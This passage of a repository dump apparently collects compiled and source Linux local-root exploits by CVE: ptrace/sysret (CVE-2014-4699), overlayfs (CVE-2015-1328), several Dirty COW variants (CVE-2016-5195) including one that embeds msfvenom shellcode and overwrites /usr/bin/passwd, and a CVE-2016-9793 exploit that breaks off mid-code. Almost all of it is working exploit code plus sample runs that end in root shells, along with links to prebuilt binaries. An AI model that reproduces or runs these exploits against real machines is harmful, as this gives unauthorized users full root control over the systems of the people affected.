map_file[PATH_MAX]; 50 | struct args f_args; 51 | 52 | assert(argc == 2); 53 | 54 | f_args.file_path = argv[1]; 55 | // create a pipe for synching the child and parent 56 | assert(pipe(f_args.pipe_fd) != -1); 57 | 58 | pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); 59 | assert(pid != -1); 60 | 61 | // get the current uid outside the namespace 62 | snprintf(mapping, 1024, "0 %d 1\n", getuid()); 63 | 64 | // update uid and gid maps in the child 65 | snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid); 66 | fd = open(map_file, O_RDWR); assert(fd != -1); 67 | 68 | assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); 69 | close(f_args.pipe_fd[1]); 70 | 71 | assert (waitpid(pid, NULL, 0) != -1); 72 | } 73 | -------------------------------------------------------------------------------- /2014/CVE-2014-4699/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-4699/a.out -------------------------------------------------------------------------------- /2014/CVE-2014-4699/poc_v0.c: -------------------------------------------------------------------------------- 1 | /** 2 | * CVE-2014-4699 ptrace/sysret PoC 3 | * by Vitaly Nikolenko 4 | * vnik@hashcrack.org 5 | * 6 | * > gcc -O2 poc_v0.c 7 | * 8 | * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the 9 | * following will trigger the #GP in sysret and overwrite the #PF handler so we 10 | * can land to our NOP sled mapped at 0x80000000. 11 | * However, once landed, the IDT will be trashed. We can either attempt to 12 | * restore it (then escalate privileges and execute our shellcode) or find 13 | * something else to overwrite that would transfer exec flow to our controlled 14 | * user-space address. Since 3.10.something, IDT is read-only anyway. If you 15 | * have any ideas, let me know. 16 | */ 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define SIZE 0x10000000 31 | 32 | typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); 33 | typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); 34 | 35 | unsigned long __user_cs; 36 | unsigned long __user_ss; 37 | unsigned long __user_rflags; 38 | 39 | void __attribute__((regparm(3))) payload() { 40 | uint32_t *fixptr = (void*)0xffffffff81dd70e8; 41 | // restore the #PF handler 42 | *fixptr = -1; 43 | //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; 44 | //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; 45 | //commit_creds(prepare_kernel_cred((uint64_t)NULL)); 46 | 47 | //__asm__ volatile ("swapgs\n\t" 48 | // "..."); 49 | } 50 | 51 | int main() { 52 | struct user_regs_struct regs; 53 | uint8_t *trampoline, *tmp; 54 | int status; 55 | 56 | struct { 57 | uint16_t limit; 58 | uint64_t addr; 59 | } __attribute__((packed)) idt; 60 | 61 | // MAP_POPULATE so we don't trigger extra #PF 62 | trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); 63 | assert(trampoline == 0x80000000); 64 | memset(trampoline, 0x90, SIZE); 65 | tmp = trampoline; 66 | tmp += SIZE-1024; 67 | memcpy(tmp, &payload, 1024); 68 | memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); 69 | 70 | pid_t chld; 71 | 72 | if ((chld = fork()) < 0) { 73 | perror("fork"); 74 | exit(1); 75 | } 76 | 77 | if (chld == 0) { 78 | if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { 79 | perror("PTRACE_TRACEME"); 80 | exit(1); 81 | } 82 | raise(SIGSTOP); 83 | fork(); 84 | return 0; 85 | } 86 | 87 | asm volatile("sidt %0" : "=m" (idt)); 88 | printf("IDT addr = 0x%lx\n", idt.addr); 89 | 90 | waitpid(chld, &status, 0); 91 | 92 | ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); 93 | 94 | ptrace(PTRACE_CONT, chld, 0, 0); 95 | 96 | waitpid(chld, &status, 0); 97 | 98 | ptrace(PTRACE_GETREGS, chld, NULL, ®s); 99 | regs.rdi = 0x0000000000000000; 100 | regs.rip = 0x8fffffffffffffff; 101 | regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; 102 | 103 | // attempt to restore the IDT 104 | regs.rdi = 0x0000000000000000; 105 | regs.rsi = 0x81658e000010cbd0; 106 | regs.rdx = 0x00000000ffffffff; 107 | regs.rcx = 0x81658e000010cba0; 108 | regs.rax = 0x00000000ffffffff; 109 | regs.r8 = 0x81658e010010cb00; 110 | regs.r9 = 0x00000000ffffffff; 111 | regs.r10 = 0x81668e0000106b10; 112 | regs.r11 = 0x00000000ffffffff; 113 | regs.rbx = 0x81668e0000106ac0; 114 | regs.rbp = 0x00000000ffffffff; 115 | regs.r12 = 0x81668e0000106ac0; 116 | regs.r13 = 0x00000000ffffffff; 117 | regs.r14 = 0x81668e0200106a90; 118 | regs.r15 = 0x00000000ffffffff; 119 | 120 | ptrace(PTRACE_SETREGS, chld, NULL, ®s); 121 | 122 | ptrace(PTRACE_CONT, chld, 0, 0); 123 | 124 | ptrace(PTRACE_DETACH, chld, 0, 0); 125 | } 126 | -------------------------------------------------------------------------------- /2015/CVE-2015-1328/37292.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Exploit Title: ofs.c - overlayfs local root in ubuntu 3 | # Date: 2015-06-15 4 | # Exploit Author: rebel 5 | # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) 6 | # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 7 | # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) 8 | 9 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 10 | CVE-2015-1328 / ofs.c 11 | overlayfs incorrect permission handling + FS_USERNS_MOUNT 12 | 13 | user@ubuntu-server-1504:~$ uname -a 14 | Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 15 | user@ubuntu-server-1504:~$ gcc ofs.c -o ofs 16 | user@ubuntu-server-1504:~$ id 17 | uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) 18 | user@ubuntu-server-1504:~$ ./ofs 19 | spawning threads 20 | mount #1 21 | mount #2 22 | child threads done 23 | /etc/ld.so.preload created 24 | creating shared library 25 | # id 26 | uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) 27 | 28 | greets to beist & kaliman 29 | 2015-05-24 30 | %rebel% 31 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 32 | */ 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | 54 | #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" 55 | 56 | static char child_stack[1024*1024]; 57 | 58 | static int 59 | child_exec(void *stuff) 60 | { 61 | char *file; 62 | system("rm -rf /tmp/ns_sploit"); 63 | mkdir("/tmp/ns_sploit", 0777); 64 | mkdir("/tmp/ns_sploit/work", 0777); 65 | mkdir("/tmp/ns_sploit/upper",0777); 66 | mkdir("/tmp/ns_sploit/o",0777); 67 | 68 | fprintf(stderr,"mount #1\n"); 69 | if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { 70 | // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower 71 | if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { 72 | fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); 73 | exit(-1); 74 | } 75 | file = ".access"; 76 | chmod("/tmp/ns_sploit/work/work",0777); 77 | } else file = "ns_last_pid"; 78 | 79 | chdir("/tmp/ns_sploit/o"); 80 | rename(file,"ld.so.preload"); 81 | 82 | chdir("/"); 83 | umount("/tmp/ns_sploit/o"); 84 | fprintf(stderr,"mount #2\n"); 85 | if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { 86 | if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { 87 | exit(-1); 88 | } 89 | chmod("/tmp/ns_sploit/work/work",0777); 90 | } 91 | 92 | chmod("/tmp/ns_sploit/o/ld.so.preload",0777); 93 | umount("/tmp/ns_sploit/o"); 94 | } 95 | 96 | int 97 | main(int argc, char **argv) 98 | { 99 | int status, fd, lib; 100 | pid_t wrapper, init; 101 | int clone_flags = CLONE_NEWNS | SIGCHLD; 102 | 103 | fprintf(stderr,"spawning threads\n"); 104 | 105 | if((wrapper = fork()) == 0) { 106 | if(unshare(CLONE_NEWUSER) != 0) 107 | fprintf(stderr, "failed to create new user namespace\n"); 108 | 109 | if((init = fork()) == 0) { 110 | pid_t pid = 111 | clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); 112 | if(pid < 0) { 113 | fprintf(stderr, "failed to create new mount namespace\n"); 114 | exit(-1); 115 | } 116 | 117 | waitpid(pid, &status, 0); 118 | 119 | } 120 | 121 | waitpid(init, &status, 0); 122 | return 0; 123 | } 124 | 125 | usleep(300000); 126 | 127 | wait(NULL); 128 | 129 | fprintf(stderr,"child threads done\n"); 130 | 131 | fd = open("/etc/ld.so.preload",O_WRONLY); 132 | 133 | if(fd == -1) { 134 | fprintf(stderr,"exploit failed\n"); 135 | exit(-1); 136 | } 137 | 138 | fprintf(stderr,"/etc/ld.so.preload created\n"); 139 | fprintf(stderr,"creating shared library\n"); 140 | lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); 141 | write(lib,LIB,strlen(LIB)); 142 | close(lib); 143 | lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); 144 | if(lib != 0) { 145 | fprintf(stderr,"couldn't create dynamic library\n"); 146 | exit(-1); 147 | } 148 | write(fd,"/tmp/ofs-lib.so\n",16); 149 | close(fd); 150 | system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); 151 | execl("/bin/su","su",NULL); 152 | } 153 | -------------------------------------------------------------------------------- /2015/CVE-2015-1328/ofs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2015/CVE-2015-1328/ofs -------------------------------------------------------------------------------- /2015/CVE-2015-1328/ofs_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2015/CVE-2015-1328/ofs_32 -------------------------------------------------------------------------------- /2015/CVE-2015-1328/ofs_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2015/CVE-2015-1328/ofs_64 -------------------------------------------------------------------------------- /2016/CVE-2016-5195/cowroot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2016/CVE-2016-5195/cowroot -------------------------------------------------------------------------------- /2016/CVE-2016-5195/cowroot.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable. 4 | * 5 | * (un)comment correct payload first (x86 or x64)! 6 | * 7 | * $ gcc cowroot.c -o cowroot -pthread 8 | * $ ./cowroot 9 | * DirtyCow root privilege escalation 10 | * Backing up /usr/bin/passwd.. to /tmp/bak 11 | * Size of binary: 57048 12 | * Racing, this may take a while.. 13 | * /usr/bin/passwd is overwritten 14 | * Popping root shell. 15 | * Don't forget to restore /tmp/bak 16 | * thread stopped 17 | * thread stopped 18 | * root@box:/root/cow# id 19 | * uid=0(root) gid=1000(foo) groups=1000(foo) 20 | */ 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | void *map; 31 | int f; 32 | int stop = 0; 33 | struct stat st; 34 | char *name; 35 | pthread_t pth1,pth2,pth3; 36 | 37 | // change if no permissions to read 38 | char suid_binary[] = "/usr/bin/passwd"; 39 | 40 | /* 41 | * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 42 | */ 43 | unsigned char sc[] = { 44 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 45 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 46 | 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 55 | 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 56 | 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 57 | 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 58 | 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 59 | }; 60 | unsigned int sc_len = 177; 61 | 62 | /* 63 | * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 64 | unsigned char sc[] = { 65 | 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 67 | 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 71 | 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 72 | 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 73 | 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 74 | 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 75 | 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 76 | 0x89, 0xe1, 0xcd, 0x80 77 | }; 78 | unsigned int sc_len = 136; 79 | */ 80 | 81 | void *madviseThread(void *arg) 82 | { 83 | char *str; 84 | str=(char*)arg; 85 | int i,c=0; 86 | for(i=0;i<1000000 && !stop;i++) { 87 | c+=madvise(map,100,MADV_DONTNEED); 88 | } 89 | printf("thread stopped\n"); 90 | } 91 | 92 | void *procselfmemThread(void *arg) 93 | { 94 | char *str; 95 | str=(char*)arg; 96 | int f=open("/proc/self/mem",O_RDWR); 97 | int i,c=0; 98 | for(i=0;i<1000000 && !stop;i++) { 99 | lseek(f,map,SEEK_SET); 100 | c+=write(f, str, sc_len); 101 | } 102 | printf("thread stopped\n"); 103 | } 104 | 105 | void *waitForWrite(void *arg) { 106 | char buf[sc_len]; 107 | 108 | for(;;) { 109 | FILE *fp = fopen(suid_binary, "rb"); 110 | 111 | fread(buf, sc_len, 1, fp); 112 | 113 | if(memcmp(buf, sc, sc_len) == 0) { 114 | printf("%s is overwritten\n", suid_binary); 115 | break; 116 | } 117 | 118 | fclose(fp); 119 | sleep(1); 120 | } 121 | 122 | stop = 1; 123 | 124 | printf("Popping root shell.\n"); 125 | printf("Don't forget to restore /tmp/bak\n"); 126 | 127 | system(suid_binary); 128 | } 129 | 130 | int main(int argc,char *argv[]) { 131 | char *backup; 132 | 133 | printf("DirtyCow root privilege escalation\n"); 134 | printf("Backing up %s.. to /tmp/bak\n", suid_binary); 135 | 136 | asprintf(&backup, "cp %s /tmp/bak", suid_binary); 137 | system(backup); 138 | 139 | f = open(suid_binary,O_RDONLY); 140 | fstat(f,&st); 141 | 142 | printf("Size of binary: %d\n", st.st_size); 143 | 144 | char payload[st.st_size]; 145 | memset(payload, 0x90, st.st_size); 146 | memcpy(payload, sc, sc_len+1); 147 | 148 | map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 149 | 150 | printf("Racing, this may take a while..\n"); 151 | 152 | pthread_create(&pth1, NULL, &madviseThread, suid_binary); 153 | pthread_create(&pth2, NULL, &procselfmemThread, payload); 154 | pthread_create(&pth3, NULL, &waitForWrite, NULL); 155 | 156 | pthread_join(pth3, NULL); 157 | 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /2016/CVE-2016-5195/dirtyc0w: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2016/CVE-2016-5195/dirtyc0w -------------------------------------------------------------------------------- /2016/CVE-2016-5195/dirtyc0w.c: -------------------------------------------------------------------------------- 1 | /* 2 | ####################### dirtyc0w.c ####################### 3 | $ sudo -s 4 | # echo this is not a test > foo 5 | # chmod 0404 foo 6 | $ ls -lah foo 7 | -r-----r-- 1 root root 19 Oct 20 15:23 foo 8 | $ cat foo 9 | this is not a test 10 | $ gcc -pthread dirtyc0w.c -o dirtyc0w 11 | $ ./dirtyc0w foo m00000000000000000 12 | mmap 56123000 13 | madvise 0 14 | procselfmem 1800000000 15 | $ cat foo 16 | m00000000000000000 17 | ####################### dirtyc0w.c ####################### 18 | */ 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | void *map; 29 | int f; 30 | struct stat st; 31 | char *name; 32 | 33 | void *madviseThread(void *arg) 34 | { 35 | char *str; 36 | str=(char*)arg; 37 | int i,c=0; 38 | for(i=0;i<100000000;i++) 39 | { 40 | /* 41 | You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 42 | > This is achieved by racing the madvise(MADV_DONTNEED) system call 43 | > while having the page of the executable mmapped in memory. 44 | */ 45 | c+=madvise(map,100,MADV_DONTNEED); 46 | } 47 | printf("madvise %d\n\n",c); 48 | } 49 | 50 | void *procselfmemThread(void *arg) 51 | { 52 | char *str; 53 | str=(char*)arg; 54 | /* 55 | You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 56 | > The in the wild exploit we are aware of doesn't work on Red Hat 57 | > Enterprise Linux 5 and 6 out of the box because on one side of 58 | > the race it writes to /proc/self/mem, but /proc/self/mem is not 59 | > writable on Red Hat Enterprise Linux 5 and 6. 60 | */ 61 | int f=open("/proc/self/mem",O_RDWR); 62 | int i,c=0; 63 | for(i=0;i<100000000;i++) { 64 | /* 65 | You have to reset the file pointer to the memory position. 66 | */ 67 | lseek(f,(uintptr_t) map,SEEK_SET); 68 | c+=write(f,str,strlen(str)); 69 | } 70 | printf("procselfmem %d\n\n", c); 71 | } 72 | 73 | 74 | int main(int argc,char *argv[]) 75 | { 76 | /* 77 | You have to pass two arguments. File and Contents. 78 | */ 79 | if (argc<3) { 80 | (void)fprintf(stderr, "%s\n", 81 | "usage: dirtyc0w target_file new_content"); 82 | return 1; } 83 | pthread_t pth1,pth2; 84 | /* 85 | You have to open the file in read only mode. 86 | */ 87 | f=open(argv[1],O_RDONLY); 88 | fstat(f,&st); 89 | name=argv[1]; 90 | /* 91 | You have to use MAP_PRIVATE for copy-on-write mapping. 92 | > Create a private copy-on-write mapping. Updates to the 93 | > mapping are not visible to other processes mapping the same 94 | > file, and are not carried through to the underlying file. It 95 | > is unspecified whether changes made to the file after the 96 | > mmap() call are visible in the mapped region. 97 | */ 98 | /* 99 | You have to open with PROT_READ. 100 | */ 101 | map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 102 | printf("mmap %zx\n\n",(uintptr_t) map); 103 | /* 104 | You have to do it on two threads. 105 | */ 106 | pthread_create(&pth1,NULL,madviseThread,argv[1]); 107 | pthread_create(&pth2,NULL,procselfmemThread,argv[2]); 108 | /* 109 | You have to wait for the threads to finish. 110 | */ 111 | pthread_join(pth1,NULL); 112 | pthread_join(pth2,NULL); 113 | return 0; 114 | } 115 | -------------------------------------------------------------------------------- /2016/CVE-2016-5195/pokemon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2016/CVE-2016-5195/pokemon -------------------------------------------------------------------------------- /2016/CVE-2016-5195/pokemon.c: -------------------------------------------------------------------------------- 1 | // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball 2 | #include //// pikachu 3 | #include //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball 4 | #include //// pokeball 5 | #include //// (___) 6 | #include //// (o o)_____/ 7 | #include //// @@ ` \ 8 | #include //// \ ____, /miltank 9 | #include //// // // 10 | #include //// ^^ ^^ 11 | #include //// mmap bc757000 12 | #include //// madvise 0 13 | ////////////////////////////////////////////// ptrace 0 14 | ////////////////////////////////////////////// miltank 15 | ////////////////////////////////////////////// 16 | int f ;// file descriptor 17 | void *map ;// memory map 18 | pid_t pid ;// process id 19 | pthread_t pth ;// thread 20 | struct stat st ;// file info 21 | ////////////////////////////////////////////// 22 | void *madviseThread(void *arg) {// madvise thread 23 | int i,c=0 ;// counters 24 | for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 25 | c+=madvise(map,100,MADV_DONTNEED) ;// race condition 26 | printf("madvise %d\n\n",c) ;// sum of errors 27 | }// /madvise thread 28 | ////////////////////////////////////////////// 29 | int main(int argc,char *argv[]) {// entrypoint 30 | if(argc<3)return 1 ;// ./d file contents 31 | printf("%s \n\ 32 | (___) \n\ 33 | (o o)_____/ \n\ 34 | @@ ` \\ \n\ 35 | \\ ____, /%s \n\ 36 | // // \n\ 37 | ^^ ^^ \n\ 38 | ", argv[1], argv[2]) ;// dirty cow 39 | f=open(argv[1],O_RDONLY) ;// open read only file 40 | fstat(f,&st) ;// stat the fd 41 | map=mmap(NULL ,// mmap the file 42 | st.st_size+sizeof(long) ,// size is filesize plus padding 43 | PROT_READ ,// read-only 44 | MAP_PRIVATE ,// private mapping for cow 45 | f ,// file descriptor 46 | 0) ;// zero 47 | printf("mmap %lx\n\n",(unsigned long)map);// sum of error code 48 | pid=fork() ;// fork process 49 | if(pid) {// if parent 50 | waitpid(pid,NULL,0) ;// wait for child 51 | int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) 52 | for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l 53 | for(o=0;o root LPE exploit for CVE-2016-9793 2 | // No KASLR, SMEP or SMAP bypass included 3 | // Affected kernels: 3.11 -> 4.8 4 | // Tested in QEMU only 5 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 6 | // 7 | // Usage: 8 | // # gcc -pthread exploit.c -o exploit 9 | // # chown guest:guest exploit 10 | // # setcap cap_net_admin+ep ./exploit 11 | // # su guest 12 | // $ whoami 13 | // guest 14 | // $ ./exploit 15 | // [.] userspace payload mmapped at 0xfffff000 16 | // [.] overwriting thread started 17 | // [.] sockets opened 18 | // [.] sock->sk_sndbuf set to fffffe00 19 | // [.] writing to socket 20 | // [+] got r00t 21 | // # whoami 22 | // root 23 | // 24 | // Andrey Konovalov 25 | 26 | #define _GNU_SOURCE 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | #define COMMIT_CREDS 0xffffffff81079860ul 46 | #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul 47 | 48 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 49 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 50 | 51 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 52 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 53 | 54 | void get_root(void) { 55 | commit_creds(prepare_kernel_cred(0)); 56 | } 57 | 58 | struct ubuf_info_t { 59 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 60 | uint64_t ctx; // void * 61 | uint64_t desc; // unsigned long 62 | }; 63 | 64 | struct skb_shared_info_t { 65 | uint8_t nr_frags; // unsigned char 66 | uint8_t tx_flags; // __u8 67 | uint16_t gso_size; // unsigned short 68 | uint16_t gso_segs; // unsigned short 69 | uint16_t gso_type; // unsigned short 70 | uint64_t frag_list; // struct sk_buff * 71 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 72 | uint32_t tskey; // u32 73 | uint32_t ip6_frag_id; // __be32 74 | uint32_t dataref; // atomic_t 75 | uint64_t destructor_arg; // void * 76 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 77 | }; 78 | 79 | // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0 80 | #define SNDBUF 0xffffff00 81 | #define SHINFO 0x00000000fffffed0ul 82 | 83 | struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0}; 84 | //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0}; 85 | struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO; 86 | 87 | #define SKBTX_DEV_ZEROCOPY (1 << 3) 88 | 89 | void* skb_thr(void* arg) { 90 | while (1) { 91 | skb_shared_info->destructor_arg = (uint64_t)&ubuf_info; 92 | skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY; 93 | } 94 | } 95 | 96 | int sockets[2]; 97 | 98 | void *write_thr(void *arg) { 99 | // Write blocks until setsockopt(SO_SNDBUF). 100 | write(sockets[1], "\x5c", 1); 101 | 102 | if (getuid() == 0) { 103 | printf("[+] got r00t\n"); 104 | execl("/bin/bash", "bash", NULL); 105 | perror("execl()"); 106 | } 107 | printf("[-] something went wrong\n"); 108 | } 109 | 110 | int main() { 111 | void *addr; 112 | int rv; 113 | uint32_t sndbuf; 114 | 115 | addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul, 116 | PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 117 | -1, 0); 118 | if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) { 119 | perror("mmap()"); 120 | exit(EXIT_FAILURE); 121 | } 122 | 123 | printf("[.] userspace payload mmapped at %p\n", addr); 124 | 125 | pthread_t skb_th; 126 | rv = pthread_create(&skb_th, 0, skb_thr, NULL); 127 | if (rv != 0) { 128 | perror("pthread_create()"); 129 | exit(EXIT_FAILURE); 130 